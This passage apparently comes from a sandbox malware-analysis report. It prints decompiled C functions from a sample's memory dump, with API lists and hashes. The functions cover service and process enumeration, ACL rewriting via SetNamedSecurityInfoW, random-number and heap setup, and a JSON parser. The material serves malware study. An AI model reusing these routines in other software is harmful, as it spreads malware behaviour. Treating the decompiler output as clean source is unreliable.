              0x023542d5
              0x023542da
              0x023542df
              0x023542e4
              0x00000000
              0x00000000
              0x023542e4
              0x00000000
              0x023542e6
              0x023542e6
              0x023542e7
              0x023542ea
              0x023542c9
              0x023542ef
              0x023542f1
              0x023542f1
              0x023542f3
              0x023542f8
              0x0235429c
              0x0235429d
              0x023542a2
              0x023542a2
              0x02354281
              0x02354282
              0x02354288
              0x02354288
              0x023542fc
              0x02354301

              APIs
                • Part of subcall function 02355DBD: OpenSCManagerW.SECHOST(00000000,ServicesActive,00000004,02354246,?,?,?,?,02353E3F,00000000), ref: 02355DC6
              • EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000001,00000000,00000000,00000000,02353E3F,00000000,00000000,?,?,?,?,?,02353E3F), ref: 0235426B
              • RtlGetLastWin32Error.NTDLL ref: 02354275
              • EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000001,00000000,00000000,00000000,02353E3F,00000000,00000000,00000000), ref: 023542BA
                • Part of subcall function 02355D9B: CloseServiceHandle.ADVAPI32(02353E3F,?,023542F8,00000000,?,?,?,?,?,02353E3F,00000000), ref: 02355DA1
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: EnumServicesStatus$CloseErrorHandleLastManagerOpenServiceWin32
              • String ID:
              • API String ID: 1721398322-0
              • Opcode ID: 4a19a3b0ef2003f9e11dcc1536366e917b0d095d088e7f480553630bd910f7d8
              • Instruction ID: 2ee8b7c3d396b5ec7800f26f0b7cf429fa1d69fd70f82614ac70f047ac2ecf6d
              • Opcode Fuzzy Hash: 4a19a3b0ef2003f9e11dcc1536366e917b0d095d088e7f480553630bd910f7d8
              • Instruction Fuzzy Hash: 8321D7725242357ADB356E918C85FBF7BBDDF02B90F100056FE0DE1040DB609680D6A1
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 37%
              			E023579F8(void* __ecx, intOrPtr _a4) {
              				short _v8;
              				struct _SID_IDENTIFIER_AUTHORITY _v12;
              				void* _t8;
              				signed int _t11;
              				signed int _t13;
              				void* _t16;
              				void* _t21;
              				signed int _t22;
              				void* _t25;
              				int _t31;
              
              				_v8 = 0x100;
              				_v12.Value = 0;
              				_t31 =  *0x23633ec; // 0x501
              				if(_t31 != 0) {
              					L5:
              					_t8 =  *0x2362798(_a4, 1, 4, 0, 0,  *0x23633dc, 0); // executed
              					_t21 = _t8;
              					if(_t21 != 0) {
              						_t11 = (0 | _t21 == 0x00000005) - 1;
              					} else {
              						_t11 = 1;
              					}
              					L8:
              					return _t11;
              				}
              				_t13 = AllocateAndInitializeSid( &_v12, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0x23633d8);
              				if(_t13 != 0) {
              					_t22 = 8;
              					memset(0x23633f0, 0, _t22 << 2);
              					_t16 =  *0x23633d8; // 0x0
              					 *0x23633f0 = 0x10000000;
              					 *0x23633f4 = 2;
              					 *0x23633f8 = 3;
              					 *0x2363404 = 0;
              					 *0x2363408 = 5;
              					 *0x236340c = _t16;
              					_t13 =  *0x23625ac(1, 0x23633f0, 0, 0x23633dc, _t25);
              					if(_t13 != 0) {
              						goto L2;
              					}
              					 *0x23633ec = 1;
              					goto L5;
              				}
              				L2:
              				_t11 = _t13 | 0xffffffff;
              				goto L8;
              			}













              0x02357a00
              0x02357a06
              0x02357a09
              0x02357a0f
              0x02357a9f
              0x02357aaf
              0x02357ab5
              0x02357abb
              0x02357ac6
              0x02357abd
              0x02357abd
              0x02357abd
              0x02357ac7
              0x02357acb
              0x02357acb
              0x02357a28
              0x02357a30
              0x02357a3d
              0x02357a4d
              0x02357a4f
              0x02357a57
              0x02357a61
              0x02357a6b
              0x02357a75
              0x02357a7b
              0x02357a85
              0x02357a8a
              0x02357a93
              0x00000000
              0x00000000
              0x02357a95
              0x00000000
              0x02357a95
              0x02357a32
              0x02357a32
              0x00000000

              APIs
              • AllocateAndInitializeSid.ADVAPI32(?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,023633D8,?,?,?,?,02357CAC), ref: 02357A28
              • SetEntriesInAclW.ADVAPI32(00000001,023633F0,00000000,023633DC,?,?,?,?,?,02357CAC,?,?,02353352,?,00000001), ref: 02357A8A
              • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000004,00000000,00000000,00000000,?,?,?,?,02357CAC,?,?,02353352,?,00000001), ref: 02357AAF
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: AllocateEntriesInfoInitializeNamedSecurity
              • String ID:
              • API String ID: 2342141041-0
              • Opcode ID: 765051cc32702dcbb45f89df91271ab0fd705eeb1e73922d1e2588f4c308409a
              • Instruction ID: 1c4513952c8d0271a6d4566ad154e3fc30da8d7a8b6984cad73e2675eee5102d
              • Opcode Fuzzy Hash: 765051cc32702dcbb45f89df91271ab0fd705eeb1e73922d1e2588f4c308409a
              • Instruction Fuzzy Hash: 7E1182F1F80305BEEB158F65DC9DF66BAACE740B54F64C45DF90586280DBB2D9508B10
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 75%
              			E02355B1F(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
              				void* _v560;
              				void* _t8;
              				struct tagPROCESSENTRY32W* _t9;
              				int _t19;
              				void* _t20;
              
              				_t19 = 0;
              				_t8 = CreateToolhelp32Snapshot(2, 0); // executed
              				_t20 = _t8;
              				if(_t20 != 0xffffffff) {
              					_t9 =  &_v560;
              					_v560 = 0x22c;
              					Process32FirstW(_t20, _t9); // executed
              					while(_t9 != 0) {
              						_t19 = _a12(_a8,  &_v560);
              						if(_t19 == 0 || _a4 == 0) {
              							_t9 = Process32NextW(_t20,  &_v560); // executed
              							continue;
              						} else {
              							break;
              						}
              					}
              					E02355416(_t20);
              					return _t19;
              				}
              				return 0;
              			}








              0x02355b2a
              0x02355b2f
              0x02355b35
              0x02355b3a
              0x02355b40
              0x02355b46
              0x02355b52
              0x02355b83
              0x02355b67
              0x02355b6d
              0x02355b7d
              0x00000000
              0x00000000
              0x00000000
              0x00000000
              0x02355b6d
              0x02355b88
              0x00000000
              0x02355b8e
              0x00000000

              APIs
              • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02355B2F
              • Process32FirstW.KERNEL32(00000000,?), ref: 02355B52
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CreateFirstProcess32SnapshotToolhelp32
              • String ID:
              • API String ID: 2353314856-0
              • Opcode ID: 4947a391e3fc8676964c1d4ebcc03975d80762f7f012473c5a644d5d5f048063
              • Instruction ID: 42826bfd525cab2405b49378f58f5eaf6c564b533dcd438bd3d7e0c02f2d123d
              • Opcode Fuzzy Hash: 4947a391e3fc8676964c1d4ebcc03975d80762f7f012473c5a644d5d5f048063
              • Instruction Fuzzy Hash: 9B0181B2501528BFD7206A75FC0CEAF7BBDDB89371F6142A5FC1DD2180E730A9548AA0
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 54%
              			E02355B96(void* __edx, int _a4, intOrPtr _a8) {
              				BYTE* _v0;
              				void* _t7;
              				signed int _t11;
              				void* _t14;
              
              				_t7 = E023560D5(_a4, _a8); // executed
              				if(_t7 == 0) {
              					if(E02355C07(__edx, _a4, _a8) != 0) {
              						goto L1;
              					} else {
              						_pop(_t21);
              						if( *0x2363070 != 0) {
              							L8:
              							_t11 = CryptGenRandom( *0x236306c, _a4, _v0);
              							asm("sbb eax, eax");
              							return  ~( ~_t11);
              						} else {
              							_t14 =  *0x23625a4(0x236306c, 0, 0, 1, 0xf0000000);
              							if(_t14 != 0) {
              								 *0x2363070 = 1;
              								goto L8;
              							} else {
              								return _t14;
              							}
              						}
              					}
              				} else {
              					L1:
              					return 1;
              				}
              			}







              0x02355b9f
              0x02355ba8
              0x02355bbe
              0x00000000
              0x02355bc0
              0x02355bc0
              0x02355f85
              0x02355fad
              0x02355fb9
              0x02355fc1
              0x02355fc6
              0x02355f87
              0x02355f97
              0x02355f9f
              0x02355fa3
              0x00000000
              0x02355fa2
              0x02355fa2
              0x02355fa2
              0x02355f9f
              0x02355f85
              0x02355baa
              0x02355baa
              0x02355bae
              0x02355bae

              APIs
              • CryptAcquireContextW.ADVAPI32(0236306C,00000000,00000000,00000001,F0000000,?,0235721A,?,00000030,00000000,?,?,02356F8E,?,00000020,00000000), ref: 02355F97
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: AcquireContextCrypt
              • String ID:
              • API String ID: 3951991833-0
              • Opcode ID: 8b9b8b6947da58f49ea3bf31a8698e4ca9b1a84b9652ff1cbcdb4f64b084553b
              • Instruction ID: 2a8e7360bace4c60327d14deb3183f05e0322e031550e047918ec49b419d67ab
              • Opcode Fuzzy Hash: 8b9b8b6947da58f49ea3bf31a8698e4ca9b1a84b9652ff1cbcdb4f64b084553b
              • Instruction Fuzzy Hash: 49F06272AC8219FEEF211EA4FC0DF653BADEB01B24F508555FD0D98490EB72E1709A54
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02355174(intOrPtr _a4) {
              				void* _t3;
              
              				if( *0x2363064 != 0) {
              					_t2 =  *0x2363060; // 0x2740000
              				} else {
              					_t2 = HeapCreate(0, 0x400000, 0); // executed
              					 *0x2363060 = _t2;
              					if(_t2 == 0) {
              						 *0x2363060 = GetProcessHeap();
              					}
              					 *0x2363064 = 1;
              				}
              				_t3 = E0235510A(_t2, _a4); // executed
              				return _t3;
              			}




              0x0235517e
              0x023551af
              0x02355180
              0x02355189
              0x0235518f
              0x02355196
              0x0235519e
              0x0235519e
              0x023551a3
              0x023551a3
              0x023551b8
              0x023551c0

              APIs
              • HeapCreate.KERNELBASE(00000000,00400000,00000000,?,02351548), ref: 02355189
              • GetProcessHeap.KERNEL32(?,02351548), ref: 02355198
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Heap$CreateProcess
              • String ID:
              • API String ID: 1042935442-0
              • Opcode ID: da42d3b375cc8311dc25c8c56c9446cf10a62a55b4b397e7163c179dba47a9d3
              • Instruction ID: 42b55db89380436c866cad8998f3009995a23dfc09d6cf286919422ff97fbe00
              • Opcode Fuzzy Hash: da42d3b375cc8311dc25c8c56c9446cf10a62a55b4b397e7163c179dba47a9d3
              • Instruction Fuzzy Hash: 29E01AB1DCD309AFEB109B98E90DB113BECB705B14F508855EE0E85694D7B1A175CB44
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 81%
              			E0235C41F(void* __ecx, void* __eflags, void* _a4, signed char _a7, signed char* _a8, signed char _a11, signed int _a12, signed int _a15) {
              				signed char _v5;
              				signed int _v12;
              				intOrPtr* _v16;
              				char _v20;
              				signed int _v24;
              				signed int _v28;
              				intOrPtr _v32;
              				signed int _v36;
              				signed int _v40;
              				signed int _v44;
              				signed long long _v48;
              				signed int _v52;
              				signed char* _v56;
              				signed int _v60;
              				signed int _v64;
              				signed int _v68;
              				intOrPtr _v72;
              				signed char* _v76;
              				char _v80;
              				intOrPtr _v92;
              				signed char _v100;
              				void _v104;
              				intOrPtr _v108;
              				void* _v112;
              				char _v116;
              				signed int _t387;
              				void* _t390;
              				void* _t394;
              				void* _t396;
              				char _t397;
              				void* _t399;
              				void* _t400;
              				void* _t401;
              				void* _t402;
              				intOrPtr _t405;
              				intOrPtr _t410;
              				intOrPtr _t411;
              				void* _t419;
              				void* _t424;
              				void* _t431;
              				void* _t440;
              				void* _t447;
              				void* _t452;
              				signed char _t453;
              				signed int _t454;
              				void* _t456;
              				void* _t457;
              				void* _t458;
              				signed char _t460;
              				void* _t462;
              				void* _t469;
              				void* _t472;
              				void* _t473;
              				void* _t474;
              				void* _t476;
              				signed char _t481;
              				signed int _t482;
              				signed char _t483;
              				signed char _t484;
              				signed char _t519;
              				signed int _t520;
              				signed char _t521;
              				void* _t527;
              				void* _t528;
              				void* _t529;
              				void* _t531;
              				void* _t533;
              				signed int _t540;
              				void* _t546;
              				intOrPtr _t549;
              				signed int _t554;
              				intOrPtr _t560;
              				void* _t561;
              				intOrPtr _t562;
              				signed char* _t567;
              				char _t568;
              				signed char* _t569;
              				signed char* _t570;
              				signed char* _t571;
              				signed char* _t572;
              				signed char* _t573;
              				signed char* _t574;
              				signed char* _t575;
              				signed char* _t576;
              				signed char* _t577;
              				signed char* _t578;
              				signed char* _t579;
              				signed char* _t580;
              				signed char* _t581;
              				signed char* _t582;
              				signed char* _t583;
              				signed char* _t584;
              				signed char* _t585;
              				signed char* _t586;
              				signed int _t588;
              				char _t590;
              				signed int _t594;
              				void* _t596;
              				signed int _t624;
              				signed int _t642;
              				signed int _t644;
              				signed int _t648;
              				signed int _t658;
              				signed int _t664;
              				signed int _t665;
              				signed int _t666;
              				intOrPtr _t667;
              				void* _t669;
              				void _t670;
              				intOrPtr _t671;
              				signed int _t674;
              				signed int _t675;
              				signed int _t676;
              				signed int _t677;
              				signed int _t683;
              				void* _t689;
              				void* _t690;
              				signed long long* _t691;
              				signed long long _t712;
              				signed long long _t715;
              
              				_v36 = 0;
              				E023551FB( &_v116, 0, 0x34);
              				_t387 = _a12;
              				_t690 = _t689 + 0xc;
              				_v40 = 0;
              				_v52 = 0;
              				_v64 = 0;
              				_v60 = 0;
              				_t567 = _a8;
              				_v56 = _t567;
              				if(_t387 >= 3 &&  *_t567 == 0xef && _t567[1] == 0xbb && _t567[2] == 0xbf) {
              					_t567 =  &(_t567[3]);
              					_t387 = _t387 - 3;
              					_v56 = _t567;
              				}
              				_t712 =  *0x2360c60;
              				_v32 = _t387 + _t567;
              				_t588 = 6;
              				_t390 = memcpy( &_v104, _a4, _t588 << 2);
              				_t691 = _t690 + 0xc;
              				_v112 = _t390;
              				_v112 = _v112 - 8;
              				_v108 = _t390 - 8;
              				_v80 = 1;
              				while(1) {
              					L6:
              					_v24 = _v24 & 0x00000000;
              					_t664 = 0;
              					_v28 = _v28 & 0;
              					_t669 = 0;
              					_t642 = 8;
              					_a12 = 0;
              					_v16 = 0;
              					_v20 = 0;
              					_v12 = _t642;
              					_v72 = 1;
              					while(1) {
              						_v76 = _t567;
              						if(_t567 != _v32) {
              							_t590 =  *_t567;
              						} else {
              							_t590 = 0;
              						}
              						L10:
              						_a11 = _t590;
              						if((_t642 & 0x00000020) == 0) {
              							L71:
              							if((_v100 & 0x00000001) == 0) {
              								L100:
              								if(_t642 >= 0) {
              									if((_t642 & 0x00000008) == 0) {
              										_t259 = _t669 + 4; // 0x4
              										_t394 = _t259;
              										_t670 =  *_t394;
              										_a4 = _t394;
              										if(_t670 == 1) {
              											st0 = _t712;
              											_t396 = _t590 - 9;
              											if(_t396 == 0) {
              												L240:
              												_t669 = _v16;
              												L241:
              												_t397 = _v80;
              												L242:
              												_t712 =  *0x2360c60;
              												_t567 =  &(_t567[1]);
              												_v76 = _t567;
              												if(_t567 != _v32) {
              													_t590 =  *_t567;
              												} else {
              													_t590 = 0;
              												}
              												goto L10;
              											}
              											_t527 = _t396 - 1;
              											if(_t527 == 0) {
              												_v72 = _v72 + 1;
              												_v68 = _v68 & 0x00000000;
              												goto L240;
              											}
              											_t528 = _t527 - 3;
              											if(_t528 == 0) {
              												goto L240;
              											}
              											_t529 = _t528 - 0x13;
              											if(_t529 == 0) {
              												goto L240;
              											}
              											_t531 = _t529;
              											if(_t531 == 0) {
              												if((_t642 & 0x00000004) != 0) {
              													L247:
              													_t568 = _v80;
              													_t405 =  !=  ? _v28 : _v36;
              													if(_t405 == 0) {
              														L249:
              														if(_t568 == 0) {
              															E0235D069( &_v104, _v28);
              														}
              														return 0;
              													} else {
              														goto L248;
              													}
              													do {
              														L248:
              														_t671 =  *((intOrPtr*)(_t405 + 0x10));
              														_v92(_t405);
              														_t405 = _t671;
              													} while (_t671 != 0);
              													goto L249;
              												}
              												_t669 = _v16;
              												_t642 = _t642 | 0x00000020;
              												_t664 = 0;
              												_v12 = _t642;
              												_a12 = 0;
              												_t339 = _t669 + 0x10; // 0x6a343850
              												_v24 =  *_t339;
              												L227:
              												if((_t642 & 0x00000002) != 0) {
              													_t642 = _t642 & 0xfffffffd;
              													_t567 = _t567 - 1;
              													_v12 = _t642;
              													_v76 = _t567;
              												}
              												if((_t642 & 0x00000001) != 0) {
              													_t410 =  *_t669;
              													_t644 = _t642 & 0xfffffffe | 0x00000004;
              													_t594 = _t644;
              													if(_t410 != 0) {
              														_t642 =  !=  ? _t594 : _t644 | 0x00000008;
              														_v12 = _t642;
              														if(_v80 == 0) {
              															_t596 =  *((intOrPtr*)(_t410 + 4)) - 1;
              															if(_t596 == 0) {
              																 *((intOrPtr*)( *(_t410 + 8) * 0xc +  *((intOrPtr*)(_t410 + 0xc)) + 8)) = _t669;
              															} else {
              																if(_t596 == 1) {
              																	 *((intOrPtr*)( *((intOrPtr*)(_t410 + 0xc)) +  *(_t410 + 8) * 4)) = _t669;
              																}
              															}
              														}
              														_t411 =  *_t669;
              														 *((intOrPtr*)(_t411 + 8)) =  *((intOrPtr*)(_t411 + 8)) + 1;
              														if( *((intOrPtr*)(_t411 + 8)) > _v112) {
              															goto L247;
              														} else {
              															_t669 =  *_t669;
              															_v16 = _t669;
              															_v20 = _t669;
              															goto L241;
              														}
              													}
              													_t642 = _t644 | 0x00000080;
              													L82:
              													_v12 = _t642;
              												}
              												goto L241;
              											}
              											_t533 = _t531 - 0xa;
              											if(_t533 == 0) {
              												if((_t642 & 0x00000004) == 0) {
              													goto L247;
              												}
              												_t642 = _t642 & 0xfffffffb;
              												L220:
              												_v12 = _t642;
              												L226:
              												_t669 = _v16;
              												goto L227;
              											}
              											if(_t533 != 0x51) {
              												goto L247;
              											}
              											_t642 = _t642 & 0xfffffffb | 0x00000001;
              											goto L220;
              										}
              										_t261 = _t670 - 3; // -3
              										if(_t261 > 1) {
              											st0 = _t712;
              											goto L226;
              										}
              										if(_t590 - 0x30 > 9) {
              											if(_t590 == 0x2b || _t590 == 0x2d) {
              												if((_t642 & 0x00000c00) != 0x400) {
              													goto L194;
              												}
              												st0 = _t712;
              												_t642 =  !=  ? _t642 | 0x00000800 : _t642 | 0x1800;
              												_v12 = _t642;
              												goto L240;
              											} else {
              												if(_t590 != 0x2e || _t670 != 3) {
              													L194:
              													if((_t642 & 0x00000400) != 0) {
              														if(_v40 == 0) {
              															L246:
              															st0 = _t712;
              															goto L247;
              														}
              														_t540 = _v52;
              														_t601 =  ~_t540;
              														_t541 =  !=  ?  ~_t540 : _t540;
              														 *_t691 = _t712;
              														E0235D0CF( !=  ?  ~_t540 : _t540,  ~_t540, _t642 & 0x00001000,  ~_t540, _t601,  !=  ?  ~_t540 : _t540);
              														_t669 = _v16;
              														_t691 =  &(_t691[1]);
              														_t642 = _v12;
              														 *(_t669 + 8) = _t712 *  *(_t669 + 8);
              														L206:
              														if((_t642 & 0x00000100) != 0) {
              															if( *_a4 != 3) {
              																asm("fchs");
              															} else {
              																_t324 = _t669 + 8; // 0x78726255
              																_t325 = _t669 + 0xc; // 0x62633463
              																 *(_t669 + 8) =  ~( *_t324);
              																asm("adc eax, 0x0");
              																 *(_t669 + 0xc) =  ~( *_t325);
              															}
              														}
              														_t642 = _t642 | 0x00000003;
              														L211:
              														_v12 = _t642;
              														goto L227;
              													}
              													if(_t670 != 4) {
              														_t669 = _v16;
              														st0 = _t712;
              														L199:
              														if(_t590 == 0x65 || _t590 == 0x45) {
              															_t546 = _a4;
              															_t648 = _t642 | 0x00000400;
              															if( *_t546 == 3) {
              																 *_t546 = 4;
              																asm("fild qword [esi+0x8]");
              																 *(_t669 + 8) = _t712;
              															}
              															_v40 = _v40 & 0x00000000;
              															_t642 = _t648 & 0xfffffdff;
              															goto L82;
              														} else {
              															goto L206;
              														}
              													}
              													_t547 = _v40;
              													if(_v40 == 0) {
              														goto L246;
              													}
              													asm("fild qword [ebp-0x3c]");
              													_v48 = _t712;
              													_t715 = _v48;
              													_v48 = _t715;
              													 *_t691 = _t715;
              													E0235D0CF(_t547, _t590, _t642, _t590, _t590, _t547);
              													asm("fdivr qword [ebp-0x2c]");
              													_t691 =  &(_t691[1]);
              													_t549 = _v16;
              													_t669 = _v20;
              													_t567 = _v76;
              													_t642 = _v12;
              													_t590 = _a11;
              													_v16 = _t669;
              													_t712 = _t715 +  *(_t549 + 8);
              													 *(_t549 + 8) = _t712;
              													goto L199;
              												} else {
              													st0 = _t712;
              													if(_v40 == 0) {
              														goto L247;
              													}
              													_t669 = _v16;
              													_v40 = _v40 & 0x00000000;
              													 *_a4 = 4;
              													asm("fild qword [esi+0x8]");
              													 *(_t669 + 8) = _t712;
              													goto L241;
              												}
              											}
              										}
              										st0 = _t712;
              										_t554 = _v40 + 1;
              										_v40 = _t554;
              										if(_t670 == 3) {
              											if((_t642 & 0x00000400) != 0) {
              												L185:
              												_t642 = _t642 | 0x00000800;
              												_v12 = _t642;
              												_v52 = _a11 + 0xffffffd0 + _v52 * 0xa;
              												goto L240;
              											}
              											if((0x00000200 & _t642) != 0) {
              												goto L247;
              											}
              											if(_t554 == 1 && _t590 == 0x30) {
              												_t642 = _t642 | 0x00000200;
              												_v12 = _t642;
              											}
              											asm("cdq");
              											_t665 = _t642;
              											_t560 = _v16;
              											_t278 = _t560 + 0xc; // 0x62633463
              											_t279 = _t560 + 8; // 0x78726255
              											_t561 = E0235D2F0( *_t279,  *_t278, 0xa, 0);
              											_t562 = _v16;
              											asm("adc edi, edx");
              											_t642 = _v12;
              											 *((intOrPtr*)(_t562 + 8)) = _t590 - 0x30 + _t561;
              											_t669 = _t562;
              											 *(_t669 + 0xc) = _t665;
              											_t664 = _a12;
              											goto L241;
              										}
              										if((_t642 & 0x00000400) != 0) {
              											goto L185;
              										}
              										asm("cdq");
              										_t666 = _t642;
              										_v64 = _t590 - 0x30 + E0235D2F0(_v64, _v60, 0xa, 0);
              										asm("adc edi, edx");
              										_t642 = _v12;
              										_v60 = _t666;
              										_t664 = _a12;
              										goto L240;
              									}
              									st0 = _t712;
              									_t399 = _t590 - 9;
              									if(_t399 == 0) {
              										goto L241;
              									}
              									_t400 = _t399 - 1;
              									if(_t400 == 0) {
              										L107:
              										_v72 = _v72 + 1;
              										_v68 = _v68 & 0x00000000;
              										goto L241;
              									}
              									_t401 = _t400 - 3;
              									if(_t401 == 0) {
              										goto L241;
              									}
              									_t402 = _t401 - 0x13;
              									if(_t402 == 0) {
              										goto L241;
              									}
              									if(_t402 == 0x3d) {
              										if(_t669 == 0 ||  *((intOrPtr*)(_t669 + 4)) != 2) {
              											goto L247;
              										} else {
              											_t642 = _t642 & 0xfffffff3 | 0x00000001;
              											goto L211;
              										}
              									}
              									if((_t642 & 0x00000004) == 0) {
              										if((_t642 & 0x00000040) == 0) {
              											_v12 = _t642 & 0xfffffff7;
              											if(_t590 == 0x22) {
              												_t419 = E0235D114( &_v116,  &_v20,  &_v28,  &_v36, 5); // executed
              												_t691 =  &(_t691[2]);
              												if(_t419 == 0) {
              													goto L247;
              												}
              												_t669 = _v20;
              												_t567 = _v76;
              												_t642 = _v12 | 0x00000020;
              												_t664 = 0;
              												_v12 = _t642;
              												_v16 = _t669;
              												_v24 =  *(_t669 + 0xc);
              												_a12 = 0;
              												goto L241;
              											}
              											if(_t590 == 0x5b) {
              												_t424 = E0235D114( &_v116,  &_v20,  &_v28,  &_v36, 2);
              												_t691 =  &(_t691[2]);
              												if(_t424 == 0) {
              													goto L247;
              												}
              												_t669 = _v20;
              												_t642 = _v12 | 0x00000008;
              												_t567 = _v76;
              												_v12 = _t642;
              												_v16 = _t669;
              												goto L241;
              											}
              											if(_t590 == 0x66) {
              												if(_v32 - _t567 < 4) {
              													goto L247;
              												}
              												_t569 =  &(_t567[1]);
              												_v76 = _t569;
              												if( *_t569 != 0x61) {
              													goto L247;
              												}
              												_t570 =  &(_t569[1]);
              												_v76 = _t570;
              												if( *_t570 != 0x6c) {
              													goto L247;
              												}
              												_t571 =  &(_t570[1]);
              												_v76 = _t571;
              												if( *_t571 != 0x73) {
              													goto L247;
              												}
              												_t572 =  &(_t571[1]);
              												_v76 = _t572;
              												if( *_t572 != 0x65) {
              													goto L247;
              												}
              												_push(6);
              												L164:
              												_push( &_v36);
              												_push( &_v28);
              												_push( &_v20);
              												_push( &_v116);
              												_t431 = E0235D114();
              												_t691 =  &(_t691[2]);
              												if(_t431 == 0) {
              													goto L247;
              												}
              												_t669 = _v20;
              												_t642 = _v12 | 0x00000001;
              												_t567 = _v76;
              												_v12 = _t642;
              												_v16 = _t669;
              												goto L227;
              											}
              											if(_t590 == 0x6e) {
              												if(_v32 - _t567 < 3) {
              													goto L247;
              												}
              												_t573 =  &(_t567[1]);
              												_v76 = _t573;
              												if( *_t573 != 0x75) {
              													goto L247;
              												}
              												_t574 =  &(_t573[1]);
              												_v76 = _t574;
              												if( *_t574 != 0x6c) {
              													goto L247;
              												}
              												_t575 =  &(_t574[1]);
              												_v76 = _t575;
              												if( *_t575 != 0x6c) {
              													goto L247;
              												}
              												_push(7);
              												goto L164;
              											}
              											if(_t590 == 0x74) {
              												if(_v32 - _t567 < 3) {
              													goto L247;
              												}
              												_t576 =  &(_t567[1]);
              												_v76 = _t576;
              												if( *_t576 != 0x72) {
              													goto L247;
              												}
              												_t577 =  &(_t576[1]);
              												_v76 = _t577;
              												if( *_t577 != 0x75) {
              													goto L247;
              												}
              												_t578 =  &(_t577[1]);
              												_v76 = _t578;
              												if( *_t578 != 0x65) {
              													goto L247;
              												}
              												_t440 = E0235D114( &_v116,  &_v20,  &_v28,  &_v36, 6);
              												_t691 =  &(_t691[2]);
              												if(_t440 == 0) {
              													goto L247;
              												}
              												_t669 = _v20;
              												_t567 = _v76;
              												_t642 = _v12 | 1;
              												_v16 = _t669;
              												 *(_t669 + 8) = 1;
              												_v12 = _t642;
              												goto L227;
              											}
              											if(_t590 == 0x7b) {
              												_t447 = E0235D114( &_v116,  &_v20,  &_v28,  &_v36, 1);
              												_t691 =  &(_t691[2]);
              												if(_t447 == 0) {
              													goto L247;
              												}
              												_t669 = _v20;
              												_t567 = _v76;
              												_t642 = _v12;
              												_v16 = _t669;
              												goto L241;
              											}
              											if(_t590 < 0x30 || _t590 > 0x39) {
              												if(_t590 != 0x2d) {
              													goto L247;
              												}
              												goto L129;
              											} else {
              												L129:
              												_t452 = E0235D114( &_v116,  &_v20,  &_v28,  &_v36, 3);
              												_t691 =  &(_t691[2]);
              												if(_t452 == 0) {
              													goto L247;
              												}
              												_t567 = _v76;
              												if(_v80 != 0) {
              													_v40 = _v40 & 0x00000000;
              													_t658 = _v12 & 0xffffe0ff;
              													_v64 = _v64 & 0x00000000;
              													_v60 = _v60 & 0x00000000;
              													_v52 = _v52 & 0x00000000;
